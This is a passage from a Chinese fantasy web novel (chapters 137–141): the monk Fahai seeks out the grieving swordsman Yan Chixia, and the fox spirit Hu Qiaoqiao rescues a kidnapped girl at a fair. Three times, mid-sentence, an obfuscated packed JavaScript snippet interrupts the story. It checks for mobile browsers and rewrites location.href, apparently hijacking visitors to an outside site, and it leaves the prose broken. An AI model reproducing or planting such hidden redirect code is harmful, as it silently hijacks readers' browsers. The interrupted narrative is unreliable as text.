“阿弥陀佛,玉施主,不可妄语,佛祖会生气的。” “那……该不会是住在这种荒山野岭里的你的妖精老相好吧?” “……玉施主,贫僧也是会生气的。” 蛛妖吐了吐舌头,“好吧,到底是谁?” “马上就到了,到那时玉施主便知道了。”法海没有直接回答,只是加快了脚步,继续向前走去。 玉珠儿见状,也不再追问,乖乖地跟在他的身后。 约莫走了一炷香的时间,玉珠儿忽然发现,不远处竟然出现了一座孤零零的坟茔。 只是,这里虽是野外,坟茔的四周却被打扫得干干净净,坟头连一根杂草也无,还摆着一束枯 萎的鲜花,显然是经常有人来祭拜。 “就是这里了。”法海停下脚步,看着那座坟茔,双手合十,对着它低声念了句佛号。 “和尚,你说的故友,难道是这个坟里的死人?”玉珠儿撇了撇嘴,“人都死了,有什么好来拜访的?” 法海摇了摇头,低声说,“不是坟中的人,是立这个坟墓的人。” “谁啊?”玉珠儿刚问完,才注意到那坟前还立着一块石碑,上面刻着“爱妻萧凌之墓”。 而在这几个字之后,还有几行蝇头小字。 玉珠儿凝神细看,辨认着上面的内容。 “秦人燕赤霞,一生爱剑如痴,却因此错害内子,三闯轮回,却依旧未能救回挚爱,呜呼!空有一身剑术,又有何用?!不亦悲夫,不亦悲夫!燕某立誓封剑,此生与爱妻再不分离!“ ”燕赤霞……“她歪着脑袋,“他就是你要找的人吗?” 法海点了点头。 正在这时,不远处,忽地传来了一阵脚步声。 法海和玉珠儿同时转头看去,只见一个高大的身影正朝这边走来。 那人身穿粗布麻衣,手中提着一个竹篮,里面是一大束开得正鲜艳的菊花。 一头乱糟糟的头发胡乱地扎在脑后,满脸风霜,浓密的络腮胡几乎遮住了大半张脸。 无论是衣着打扮,还是步履姿态,看上去都和一个最寻常的村夫无异,唯独一双眼睛,明亮有神,如宝剑般锐利。 看到两人,男人明显愣了一下,随即眼中闪过一丝难以置信的惊讶,“你是……法海?” “正是贫僧。”法海双手合十,微微躬身,“燕施主,多年未见,别来无恙。” “竟然真的是你……”燕赤霞低声喃喃,似乎陷入了回忆,许久,才再次开口问道,“我们有多少年没见面了?” 法海轻声道:“应有十年了。” “是啊,十年了……”燕赤霞再次陷入沉默。 十年前的他,意气风发,剑术超群,却为了追求更高的剑道,毅然离开了深爱的妻子,踏上了外出修行之路。 也是在那时,他遇到了法海。 二人一见如故,很快便成为了莫逆之交,一起斩妖除魔,快意恩仇。 一个被称为佛门第一人,一个被誉为天下第一剑,回想起来,那段岁月似乎还历历在目,何等快哉! 只可惜,命运弄人,就在他打算冲击下一个境界之时,噩耗传来——他的妻子,那个温柔善良、善解人意的女子,被一只妖怪杀害,永远地离开了人世。 这个消息如同晴天霹雳,将他整个人劈得粉碎。 他疯了一般地赶回家,却只来得及看到妻子冰冷的尸体。 那一刻,他手中的剑,仿佛失去了所有的重量,变得如同枯枝一般毫无意义。 他痛不欲生,悔恨交加,恨自己为什么要离开,为什么要为了那虚无缥缈的“剑道”而放弃了最珍贵的感情。 如果当初他没有离开,如果他能陪在妻子身边,或许…… 可惜,这世上没有如果。 他不惜闯入轮回界,想要找回妻子的魂魄,可去了三次,落空三次。 最后一次,他终于见到阎王,对方查阅生死簿后,告诉他,他妻子对他失望之极,早已喝下孟婆汤,投胎去了。 自此,他封剑归隐,回到了妻子坟前,日复一日地守候着,忏悔着,用余生来偿还自己的亏欠。 十年的时间,足以改变很多事情,曾经意气风发的少年,如今脸上已满是沧桑,眼中的光芒也逐渐暗淡,只剩下无尽的悲伤和悔恨。 过了许久,燕赤霞才再次开口,“你的佛法,越发精深了。” 以他的修为,现在居然都没察觉到对方的前来,看样子,这十几年他的修为停滞不前,对方却已经成功踏入了更高的层次了。 法海只是微微一笑,没有接话,转而问道:“燕施主,你还要继续封剑下去吗?” 燕赤霞没有说话,沉默着走到坟前,将手中菊花轻轻放下,深邃的眼中满是哀伤。 伊人已逝,世间的一切都已无法在他心中激起半点波澜。 “没有了她,再强的剑术,对我来说,也没有任何意义了。”他声音沙哑低沉,“我已经决定了,余生都会留在这里,陪着她。” 法海叹了口气,他知道,自从妻子去世后,燕赤霞便一直沉浸在悲伤中,曾经的锐气和光芒,也几乎消失殆尽。 “你来这里找我,只是为了问这个吗?”燕赤霞转头看向法海,眼神中多了一丝疑惑。 第138章 怒而拔剑 法海沉吟片刻,缓缓说道:“燕施主,你可还记得,十几年前,我们二人游历天下时,曾去过一处名为兰若寺的古刹?” “兰若寺?!”燕赤霞猛地抬头,皱着眉。 兰若寺本是一处佛门古刹,但在数千年前,就已荒废。 不知何时,那里出现了一个千年树妖,利用妖术,害了不少路人的性命。 只是因为某种原因,正道修士们无法将树妖剿灭,只能与她达成协议,只要她不离开兰若寺,只对那些心术不正之人下手,便任由她修炼。如此一来,双方倒也相安无事了数百年。 “那鬼地方我怎么会忘!不过,你怎么又突然提起那里?” “贫僧此次前来,便是为了重返兰若寺之事。” “你要重返兰若寺?”燕赤霞的声音骤然提高,脸上浮现出不敢置信的神情。 法海双手合十,微微颔首:“正是。” “你疯了!”燕赤霞猛地站起身,目光如利剑般射向法海,冷声道,“你难道忘记了,十几年前,我们差点在那里丢了命!” 法海神色如水,双手依旧合十:“贫僧自然没有忘记……”他的目光仿佛穿透了十余年的岁月迷雾,回到了那个惊险万分的夜晚。 “那兰若寺中,埋葬着数十位佛门高僧的遗骸,当年贫僧为了收敛这些遗骸,才和燕施主一同前往。不想那千年树妖竟然将他们的遗骸当做养料吸收,实在罪大恶极!贫僧身为佛门弟子,自然不能坐视不理……” 回忆如潮水般涌来,那树妖吸食了无数高僧残留的精元,实力已经到了惊人的地步,但也不是他和燕赤霞的对手。眼见要将树妖重创之时,两人却突然感觉到一股令人窒息的恐怖威压从天而降。 抬头望去,只见一个高达百丈的黑色怪物,不知何时出现在了兰若寺上空,遮天蔽日,魔气缭绕,如同来自九幽地狱的魔神一般,散发着令人胆寒的怖气息。 法海和燕赤霞骇然,与那黑色怪物一番恶斗,几乎各自丢了半条命,才侥幸逃出了兰若寺。 燕赤霞扯了扯嘴角,语气中带着嘲讽,“既然没忘,你还要去兰若寺?!当年我们联手都差点把命交代在那儿,你现在跟我说要回去?和尚,你是不是念经念得太多,把脑袋念傻了?” 法海也不恼,只是平静地看着燕赤霞,微微笑了一下。 一旁的玉珠儿却忍不住了。 虽然她也觉得和尚这人有些迂腐、古板又无趣得很,但和尚救了她的命,还时常给她买好吃的,玉珠儿早就将他划分到“自己人”的行列里了,既然是自己人,那她自然不乐意听到有人说法海的坏话。 “喂,大胡子,”玉珠儿双手叉腰,气鼓鼓地喊道,“和尚这叫慈悲为怀,菩萨心肠,你不懂就不要乱说!” 燕赤霞先是一愣,随即目光落到玉珠儿身上,上下打量一番,冷哼一声:“哪里来的小妖,毛都没长齐,也敢在此放肆!” 玉珠儿顿时勃然大怒。 她活了几百年,最近又先后吞吃了五通娘子、五通妖的化身,如今的修为将近金身境,加上还融合了梦魇的能力,在妖怪中也算是非常厉害的了,眼前这男人居然还敢小瞧她,真是可恶! “不像你,胡子多,胆子小!”玉珠儿瞪大了眼睛,脸颊鼓得像个小包子,毫不示弱地回击,“还有,我可不是小妖,厉害着呢!” 燕赤霞:“哈,你这种小妖怪,十年前,我都不用拔剑,一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893008|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气就能吹死!” “吹什么牛!”玉珠儿愈发愤怒,脆生生地说,“哼,你有本事一口气吹死我看看!” “不对,老子一个屁就能崩死你!”燕赤霞面无表情地说,“怎么样,要不你把脸伸过来,老子现在放个屁,试试看能不能崩死你?” “你……你……” 小蛛妖气得七窍生烟,一张小脸涨得通红,指着燕赤霞,你了半天,愣是没说出一句完整的话来。 这个大胡子,太、太不要脸了!!! 她虽然活了几百岁,但论吵架,还真没碰到过像燕赤霞这么不要脸的惫懒家伙,顿时都不知道怎么怼回去了。 而且她也知道,对方能让法海如此看重,八成自己是打不过的,最后,她=只能气呼呼地跺了跺脚,转身扯着法海的僧袍袖子,另一只手指着燕赤霞,委屈巴巴地告状。 “和尚,这个大胡子欺负我!你快帮我教训教训他!” “你不是说自己很厉害吗?怎么现在又要找人帮忙了?”燕赤霞斜靠在一棵树干上,抱着胳膊,一脸戏谑地看着她。 “你…你这个大胡子,丑八怪,我讨厌你!”玉珠儿气急败坏。 法海见两人吵得不可开交,无奈地摇了摇头,轻轻拨开玉珠儿,上前一步,将话题拉回了正轨。“燕施主,贫僧知道你担心什么,但这次去兰若寺,贫僧并非毫无准备。” 燕赤霞干脆往地上一坐,盘起腿,用小手指漫不经心地掏着耳朵,一副事不关己的模样。 “关于兰若寺之事,贫僧这些年也多方查探。那怪物并非寻常妖物,它名为黑山老妖,本体乃是轮回界的一座黑山,有着万年修为。十几年前你我二人联手,也非其敌手。” 第139章 花魁表演 亥时刚过,夜凉如水。 陈子均放下手中的书卷,揉了揉眉心,偏头看了眼,胡翘翘一手勉强撑着脑袋,一手攥着卷话本,眼皮却都快撑不住了,小脑袋也已经开始一点一点的,眼看着就要栽进茶杯里。 “娘子,你困了吧?我们去睡吧。”他温声说道。 “啊,不,我还不睡。”胡翘翘一个激灵,抬起头,揉了揉眼睛,“相公,你接着看书好了,我现在不睡。” “……” 陈子均有些奇怪,往日到了这个时辰,小狐狸总是准时就钻进被窝,然后抱着他睡得香甜,今天怎么…… “为什么?” 胡翘翘支支吾吾了半天,才红着脸说道:“相公,我……我想等到子时之后再睡……” 陈子均:“……子时?为什么?” 胡翘翘的脸更红了几分,小声道,“因为过了子时,就是第二天了呀……” 陈子均:“……” 见陈子均不说话,胡翘翘连忙道:“相公你忘记了吗?我们说好了,明天就要行那夫妻之事了,所以我想等到子时,这样就到第二天了,不就可以……” 陈子均:“……。” 胡翘翘肃然,“为了让相公在第一时间就变成翘翘的人,我决定现在不睡觉,一直等到子时以后。” 陈子均笑了,“睡醒也可以的,先睡觉吧。” 胡翘翘立即摇头:“不,我不睡。” “熬夜对身体不好,还是先好好休息吧。” 何况,为了这种理由熬夜…… 胡翘翘毫不放弃,“相公,我现在很厉害的,熬夜对我来说,不算什么。” 一想到过了子时,就可以和相公…… 嘿嘿嘿嘿,她所有的倦意就立马一扫而空了。 “听话。”陈子均说,“现在去睡觉。” 胡翘翘的嘴巴撅了起来,可怜兮兮地瞅着他,大眼睛中泛着水翳,像是下一秒就要哭出来似的,“相公,你明明答应过我的,你是男子汉,难道说话不算话吗?” 陈子均叹了口气,“我困了。” “……” 这下,胡翘翘没辄了。 她委屈屈地看着陈子均:“相公真的困了?” “是啊。” “那好吧,我们去睡觉……”胡翘翘放下话本子,幽怨地叹了口气,嘴里很不情愿的嘟囔:“唉,我只是想和相公你行个夫妻之事,怎么就这么难呢?!” “……” 两人回到房间,如平常一般地躺下。 见今夜没戏了,胡翘翘失落地钻进陈子均的怀中,打了个哈欠,然后和陈子均说了几句话,而后,话语越来越慢,声音也越来越低,没多久,便睡着了。 陈子均看着她安静的睡颜,心中一片柔软,轻轻在她额头上印下一吻,也闭上了眼。 …… 和风轻抚,朝阳灿烂。 胡翘翘睁开眼睛,眼角眉梢还带着几分慵懒的睡意,然后伸出手,揽住身边的陈子均,在他的脖颈那蹭了蹭,轻声呢喃,“相公,你睡醒了么?” 陈子均睁开眼,转头看向她,柔声问道:“醒了,怎么了?” “我做了一个梦。”她甜甜地说,“和相公一起的哦!” 陈子均弯起嘴角,“哦?”了一声,“娘子梦到什么了?” 胡翘翘有些羞涩地看着他:“相公你猜猜呀……” 陈子均嘴角的弧度更大:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893009|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜不到,还是你说吧。” “相公真的猜不到?” “真的。” “……好吧。”胡翘翘轻咳了声,愈发羞涩了,小声道,“我梦到一睁眼,已经是今天晚上啦,然后,相公就将我抱到了床上,再然后……”她又叹了口气,“可惜呀,不知道为什么,还没正式开始,我突然就一下醒过来了。“ 话虽如此,但梦里甜蜜的片段已经足够让她回味无穷,幸福的感觉几乎要溢出来。 陈子均:“……” 这大概就是传说中的日有所思夜有所梦吧。 过了一会儿,胡翘翘又眨了眨眼,“相公,现在总算是第二天了吧?” 陈子均笑了,“娘子想说什么?” “……相公该不会又要说,等到晚上吧?” “总不能早上吧?” “……为什么不能在早上?”胡翘翘不满地嘟囔着,还故意往陈子均怀里拱了拱,柔软的身躯紧紧贴着他,“书上说过,一日之计在于晨,早上做什么都是极好的……”一边说着,她还一边故意用腿轻轻地蹭着陈子均。 “到了今天晚上,才满两天。”陈子均提醒她。 “……”小狐狸转着眼珠子,“相公,要不这样,我先提前预支一下,好不好?” 陈子均忍着笑:“怎么预支?” 胡翘翘一听有戏,忙清了清嗓子,一本正经地道:“现在我们先做那夫妻之事,相公就正式成为我的人,等到晚上,就不用再来一次了!” 陈子均笑。 “相公,好不好嘛~”她轻轻地吻着陈子均的下巴,语气娇媚,带着一丝丝撒娇的意味。 陈子均被她亲得心猿意马,呼吸不禁有些急促,叹了口气 第140章 今日事今日毕 出了人群,胡翘翘的心情也慢慢平复下来,直到这时,她方才后知后觉地想起什么,娇嫩的红唇顿时微微撅起,水灵灵的大眼睛瞪着陈子均。 “还说那春月楼是什么风雅场所,相公一定是骗我,你真坏。” “娘子不能怪我,”陈子均一脸正色,“我也没去过那种地方,只是道听途说罢了。” “真的么?” “当然是真的。” 胡翘翘转嗔为喜,不再揪着陈子均的衣袖,而是自然而然地牵起他的手,白嫩柔软的小手与他修长的手指交握,像一对连理枝般契合。 “还是牵着相公的手最安心了。”她扬起小脸,笑盈盈地看着他,眼眸中倒映着街边五彩斑斓的灯光,像是盛满了星星。 陈子均垂眸看着她,嘴角也不自觉地带上了一丝笑意,“我们多逛一会儿再回去?” “好。”胡翘翘乖巧地点头,两人十指相扣,沿着街道慢慢往回走。 街上的行人依旧摩肩接踵,他们的耳边交织着叫卖声、欢笑声、丝竹声,鼻端萦绕着点心的甜香、女孩儿们身上的脂粉香、还有爆竹的硝烟气味儿……整个长陵城都热闹熙攘,一派繁华景象。 胡翘翘喃喃道:“相公,要是我们能永远这样在一起,该多好呀。” “自然是永远在一起了。”说着,陈子均轻轻捏了捏她的手,语气温柔。 胡翘翘心花怒放,正准备偷亲他一口,却听见前方传来一阵焦急的呼喊声。 “囡囡,囡囡,你在哪里啊?!” 胡翘翘一愣,循着声音的方向望去。 只见一个衣着朴素的中年妇人,脸上满是焦灼,逢人便拉着对方询问,“这位大哥/娘子,你有没有见过一个这么高的小姑娘?穿着一件粉红色的襦裙……” 只是,被她问的人都纷纷摇头,表示没见过。 “大姐,你家孩子丢了?”旁边一个卖钵钵糕的汉子问道。 妇人闻言,眼泪顿时就下来了,哽咽道:“是啊,我带着女儿出来看庙会,谁知道方才人多,一不小心就走散了,我找来找去也没见着她,这可怎么办……”说到后面,声音已经哽咽不清。 胡翘翘一怔,走上前去。 “大婶,你别着急,慢慢说,你女儿多大了,长什么模样?你们是在哪儿走散的?” 她语气温柔却笃定,让人下意识信赖。 妇人如抓住救命稻草,胡乱擦了下眼泪, “她大概八九岁,今天穿着一件粉红色的襦裙,上面绣着几朵白色的梨花,眼睛下面有颗小痣……“她抬起手,颤抖着指向不远处的一处卖花灯的摊位,”就是在那附近,我当时正想给女儿买个兔子灯,结果一转头,她就没影了……” 胡翘翘记住了妇人的描述,将神念释放出去,如水银泻地般,迅速覆盖了整条街道,以及周围数里的范围。 人群熙熙攘攘,各种声音、气味交织在一起,但这些都无法阻挡胡翘翘的神念探查。 很快,她在不远处的一条街上,发现了一个符合妇人描述的女孩。 那女孩一个人孤零零地站在路边,小脸上的神情有些慌乱,四处张望着,稚嫩的嗓音喊着:“娘,娘,你在哪儿……”胡 胡翘翘心中一喜,正要告诉女人这件事,却突然瞥见两个鬼鬼祟祟的婆子走到了女孩身边。 其中一个婆子身材矮胖,脸上涂抹着厚厚的脂粉,另一个婆子则是有些干瘦,目光中透着几分狡黠和阴毒。 “小姑娘,是和你娘走散了么?”矮胖婆子笑着,模样十分慈祥和蔼。 见她笑容和气,女孩下意识地点点头。 两个婆子对视一眼,一左一右地默契架住了女孩的胳膊,带着她朝某个方向走去,“没事,跟婆婆们走吧。” “不对呀,她娘亲分明在这边,她们怎么带着她往反方向走?” 胡翘翘有些疑惑。 小女孩吓了一跳,问道:“你们是谁,我不认识你们,我要去找我娘!” 可那两个婆子却死死地拽着她的胳膊,不让她挣脱,矮胖婆子笑道:“乖,不要吵,婆婆就是带着你去找你娘,她就在前面等你呢。” 小女孩似乎察觉到了某种危险,开始用力挣扎,同时喊着:“我不去,你们是谁?我不认识你们,我要找我娘!” “哎呦,你这孩子怎么这么不听话?你娘亲正着急呢,别胡闹了!”干瘪婆子不耐烦地呵斥了句,同时拿出一块布,一把捂住小女孩的嘴巴。 也不知那块布被动了什么手脚,那小女孩的脑袋顿时垂了下来,似是睡着了般,一动不动,任由那两个婆子拽着走。 夜色已深,加上人们都忙于关注庙会,竟然没人留意她们的异常。 胡翘翘感觉到了不对劲,眼见那两个婆子带着孩子越走越快,她也顾不上与那妇人解释,红唇微撅,轻吹一口气。 四周风沙骤起,那些逛庙会的百姓下意识地闭眼躲避,待风沙平息再睁眼时,却发现方才那对年轻男女已经不见了踪影。 胡翘翘拉着陈子均,不过一眨眼功夫,便落在了那两个婆子面前,挡住了她们的去路。 那两个婆子也被沙 迷了眼,睁开时,才发现面前多了两个人,皆是一愣。 “你们是什么人?要带这孩子去哪里?”胡翘翘皱眉问道。 矮胖婆子反应倒快,立刻换上一副笑脸,对着胡翘翘说道:“这位娘子,我们是这孩子的家里人,这不是孩子贪玩刚才走散了,我们正准备带她回家呢。” “不对,你们撒谎,我才刚碰到了她的娘亲。”胡翘翘说。 “娘子,她们应该是拐子。”陈子均提醒道。 胡翘翘这才明白过来,顿时杏眼圆睁,柳眉倒竖,气鼓鼓地说道:“原来你们是拐子,居然当街拐小孩,真是岂有此理!” 说罢,她也不废话,纤纤玉手一伸,也不知怎地,那女孩就到了她的手中。 两个婆子见状,哪肯善罢甘休,立即伸出手,要和胡翘翘厮打,同时口中不干不净地骂着。 “你这小贱人,别多管闲事!” “这是我的孙女,你敢抢我的孙女,我跟你拼了!” 没想到,两人的手连胡翘翘的衣角都没碰到,就被一股无形之力给推开,顿时如滚地葫芦一般,咕噜咕噜地倒在了地上,半天爬不起来。 胡翘翘看也没看她们一眼,只是抱着那女孩,对陈子均道,“相公,我们去找她娘吧。” 陈子均“嗯。”了一声。 而这时,四周的人也被这里的动静惊动了。 “怎么,这两个婆子是拐子?” “这两个老东西,贼眉鼠眼的,看着还真不像是什么好人” “就是,把她们抓起来,送到官府去!” 眼见情况不妙,那干瘪婆子眼珠一转,躺在地上,开始撒泼打滚地嚎哭起来, “哎哟,打人了,打人了!儿媳妇打婆婆了!没天理啊!我儿媳妇偷男人,抢我孙女,现在还打我这个婆婆了!还有没有王法啊!” 胡翘翘怔了怔,不明白她在说什么。 众人也皆是一愣,面面相觑,这唱的是哪一出? 那干瘪婆子见成功吸引了众人的注意,便指着胡翘翘的鼻子,哭诉道:“各位父老乡亲,你们评评理啊!这小贱人是我儿媳妇,我儿子辛辛苦苦在外面做生意赚钱养家,她却在家里红杏出墙,跟野男人跑了不说,还把我的宝贝孙女也拐走了!我这个做婆婆的,实在是看不下去了,这才想把孙女带回家,没想到她竟然恶人先告状,还动手打我!哎呀,我的腿好像都断了……疼死我了……呜呜呜,老天爷啊!你睁睁眼吧!” 这一番话,对于小狐狸来说,实在过于复杂难以理解,以至于她的小脑袋直接宕机在那里,完全不知其解。 什么叫“红杏出墙”? 野男人又是什么? 男人还有野生的吗? 还有,她为什么指着自己叫儿媳妇? 自己又不认识她的儿子,更不可能是她的什么儿媳妇呀! 难不成,她儿媳妇和自己长得很像,所以她认错人了? 小狐狸在那里陷入困惑迷惑疑惑,扭过头,小声问陈子均,“相公,她在说什么?” 陈子均的眸底闪过一抹冷光,语气却依旧温和,“她在胡言乱语,娘子不用理会。” 那干瘪婆子用余光打量周围人的反应,见不少人开始面露疑惑,心中暗喜。 老眼中再次挤出几滴浑浊的泪水,哭天抢地。 “老天爷啊,你睁开眼看看吧!这两个挨千刀的,男盗女娼,居然想拐走我的孙女!可怜我的儿子啊,常年在外跑生意,好不容易有了个一脉单传的女儿,就要被这两个天杀的给抢走了啊!” 她边哭边朝胡翘翘磕头,那副悲痛欲绝的模样,倒真有几分可怜。 “老婆子我求求你了,你就行行好吧!你要和野男人一起,我们也不管你,可这孙女是我儿子的种,你怎么能带走呢?求求你,把孙女还给我们吧……” 众人不明就里,见那婆子哭得凄惨,胡翘翘又不辩解,便信了几分。 “原来是这样,真不要脸!” “看这两人就不是什么好东西!” “可怜见的,这老婆子一把年纪了……” 胡翘翘接触到众人的目光,愈发茫然,不知他们为何一脸鄙视厌恶。 甚至有那年轻气盛的,已经开始摩拳擦掌,准备冲上来替那干瘪婆子将女孩抢回去。 这时,陈子均上前一步,朗声道:“大家不要轻信!我和娘子与她们素昧平生,只是见她们想拐走孩子,才出手阻止,不料她们反被颠倒黑白,实在可耻!若大家不信,我们夫妻愿同她们一起去官府对质!” 他目光坚定,语气诚恳,寥寥数语,便让众人又开始半信半疑。 “他说可以去官府……” “听起来不像是假的……” “难道真是那婆子在胡说八道?” “对啊,去官府便知!” “去官府”三个字一出,两个婆子的脸色皆是一变。 就在这时,不远处突然跑来几个五大三粗的男人,一个个凶神恶煞,一看就不是善类。 干瘪婆子一见他们,立刻给为首的男人使了个眼色,指着陈子均和胡翘翘,尖声喊道:“儿啊,你看看娘被人欺负成什 么样了!这对奸夫淫妇要抢走你女儿不说,还打伤了我和你二婶!” 那几个男人闻言,立刻将陈子均和胡翘翘团团围住。 其中为首的那个男人一脸怒色,“你们这两个奸夫淫妇,真是欺人太甚,我和你们拼了!” 说罢,他便挥拳作势要打,另一只手却悄然从袖子里摸出了一把雪亮的匕首,借着身形和衣服的掩护,朝着陈子均的小腹狠狠捅去。 同时,用一个只有陈子均和胡翘翘能听到的音量冷冷说道。 “小子,记住了,下辈子少管闲事。“ 声音中,带着说不尽的阴寒杀气。 其余几个男人的脸上,也露出了狞笑。 寒光乍现,胡翘翘瞳孔骤缩,还未思考,就已经出了手。 一道凌厉的风刃自她指尖飞射而出,快如闪电,势如破竹,没有丝毫的滞涩,竟将那男人持刀的手腕齐根斩断! 男人甚至还没反应过来,便感觉右手一轻,接着“啪嗒”一声,断手落地,还保持着握刀的姿势。 断口处,鲜血如泉涌般喷溅而出,染红了地面。 男人踉跄后退,直到重重地跌坐在地上,呆呆地看着那只已经不属于自己的右手,然后才终于反应过来发生了什么,发出了凄厉的惨叫。 “敢伤我相公,你这是自寻死路!” 小狐狸眸光冰冷,原本轻软的嗓音此刻变得如同淬了寒冰,几乎能让每一个听到的人都冻僵。 她早就学会了收敛气息的法门,出门时大多数时候一直就是敛息闭气,形同凡人。 而此刻,心中的愤怒如同火山喷发,她的妖气再也没有任何抑制,直接全部释放开来。 若是时间倒流至几个月前,倒也没什么了不起的。 但此刻的小狐妖,已有了千年修为,又经历过雷劫洗礼,凝成了能让妖力瞬间暴增的妖珠,早已不是几个月前那个连一次完整的小法术都用不出的昔日阿蒙。 一瞬间,银白月光倾泻而下,将她笼罩其中。身后的虚空剧烈扭曲,隐约浮现出一尊沐浴着月华的神圣白狐虚影,神威如狱,不可直视。 方圆百丈之内,以她为中心,妖气形成恐怖的气机,搅动如漩涡,几乎能用“风云变色”而形容。 众多凡人心头颤栗不已,全身发软。 “咚!咚!咚!” 一息之间,沉闷的跪地声接连响起,原来是他们都跪倒在地,以头点地,全身发抖。 远处的庙会还是喧嚣热闹,锣鼓喧天,在这百米方圆,却已经变得一片死寂,只有众人的急促恐慌的喘息声在回荡。 这对比,简直堪称诡异。 连那个手腕断掉的男人,也停止了哀嚎,吓得目瞪口呆。 那两个恶婆子,以及剩下的几个男人,同样伏在地上,面无人色,身躯如同筛糠般剧烈颤抖。 直到此时,他们才明白,他们究竟惹上了怎样恐怖的存在! 怒气充盈胸口,胡翘翘心中杀意沸腾。 说实话,尽管她是妖怪,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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上了……现在才知道自己做了这么可怕的事情……呜呜呜,相公不会嫌弃翘翘吧。” 其实这话也没错啦,当时她真的是想也没想,第一反应就是出手。 陈子均将她揽进怀里,在她唇上轻啄了一口,又凑在她耳边低语,“娘子是为了救我才那样做,我要是嫌弃,还算是人么?” 听到这番话,胡翘翘悬着的心终于放了下来,嘴角弯起一抹甜蜜的弧度。 “对了,相公,你方才说有话要对我说,是什么事?”她抬起头,好奇地问道。 “方才那几个人应该是一伙的,专门拐骗人口,”陈子均的神情严肃了几分,“肯定还有不少人被他们害过,娘子想不想做点什么?” 做点什么? 胡翘翘立即点头,哪怕不为了那些受害者,单凭方才那男人对陈子均的所作所为,也足够她“做点什么”了! “那娘子用神念跟着方才那几个人,注意他们的行踪。”陈子均道,“等他们到了没人的地方,你将他们一网打尽,然后逼问出他们的口供,再交给官府,让他们罪有应得。” “好!”胡翘翘郑重地点了点头。 …… 后面的事情便不多赘述,总之,等月亮彻底爬上天空,庙会的喧闹也彻底退去。 几个被捆成粽子般的男女,便被小狐狸毫不客气地吊在了长陵城府衙门外的一棵大树上。 至于他们亲口交代的种种罪状,也由陈子均记录下来,让他们一一按过手印,最后卷成一筒,塞进了其中一人的怀里。 再然后,胡翘翘拉着陈子均,躲在暗处,一直等到府衙的卫兵发现了那几人,一拥而上,将他们放下来,又发现了那份罪状,最后将他们押进了府衙。 看着自己和相公的“杰作”,小狐狸的双眼笑得弯弯的,又压低声音问道,“相公,我们这算不算行侠仗义呀?” “当然算。”陈子均含笑回答。 哇,她也可以行侠仗义了。 小狐狸骄傲又自豪地挺起了胸口。 她一双眼睛亮晶晶的,像是夜空中最闪亮的星星,“相公,翘翘一辈子也不会忘记这一天的。“ 今天发生了好多事呀,又是庆典,又是庙会,又是行侠仗义……更让她满意的是,这一切都是和相公一起完成的。 而且,除了这些之外,还有一件更重要的事情…… “好了,我们赶快回去吧!”胡翘翘牵住了陈子均的手,一转身,便心急火燎地用最快的速度往回飞,“亥时都过了,再不回去,今天晚上我们就来不及行那夫妻之事了!” 陈子均被她逗乐了,笑着说:“今天来不及,等明天也可以。” “不,相公常说,今日事今日毕!否则明日复明日,明日何其多!” 现在,她是一刻也不想等了! 只想立刻和相公滚到床上去,然后…… 回到小院,进入卧室,时间离子时还差一刻。 “呼,总算赶上了。”胡翘翘点亮了灯烛,看着被烛光映照的床和褥子,这光影分明是寻常的暖黄色,然而在此刻,在她的眼中,却似乎又染上了几分暧昧之意。 胡翘翘的心脏突然开始砰砰乱跳,脸颊也慢慢变得滚烫。 所以,自己马上就要和相公…… 她突然咽了下口水,偷眼看向陈子均,却见他也正含笑看着自己,目光温柔似水。 “相公……我、你……” 平时叽叽喳喳的她,这一刻却像是大脑和嘴巴都失灵了,什么话都说不出来。 陈子均看着她傻乎乎的模样,忍不住笑道,“我啊你啊的,娘子想说什么?” “那个……”她扭着衣角,低着头,过了半天,才扭扭捏捏地问道,“我们是真的要……要那个了吧?翘翘怎么感觉,有点奇怪?” 这话一出,脸蛋越发红得如要滴出血了。 也不知为何,虽然她一直期待着这一刻,但真当事情临近,她却忍不住开始紧张起来。 陈子均笑了:“我们是夫妻,有什么可奇怪的?” 也、也对,她和相公是夫妻,这是天经地义之事。 于是,胡翘翘挺了挺胸,感觉底气足了几分,。 “那……我们现在该怎么做啊?” “先洗澡。” 洗澡! 太好了! 胡翘翘羞答答地瞥了他一眼,小声问:“一起吗?” 然后,她就看到陈子均笑着走了过来,在她还没反应过来的时候,就被他一个打横抱起,抱向了浴室的方向。 第141章 结束了 浴室内,陈子均将胡翘翘放了下来。 胡翘翘先在浴桶中放了水,然后替水加热到合适的温度,接着便用最快的动作,三下五除二地将自己从里到外的衣服都脱了下来,如雪的肌肤在朦胧的水汽中若隐若现。 当她脱下了最后一只袜子时,抬头看向陈子均,发现他还在不紧不慢地解自己的腰带。 “相公,你怎么这么慢呀,”胡翘翘心急火燎地说了句,然后便迫不及待地伸出了小手,探向了他的腰带,“让我来帮你。” 平时,为了防衣服散开,所以腰带的打结之法都颇有讲究,无论是系还是解,都要花上一番功夫。 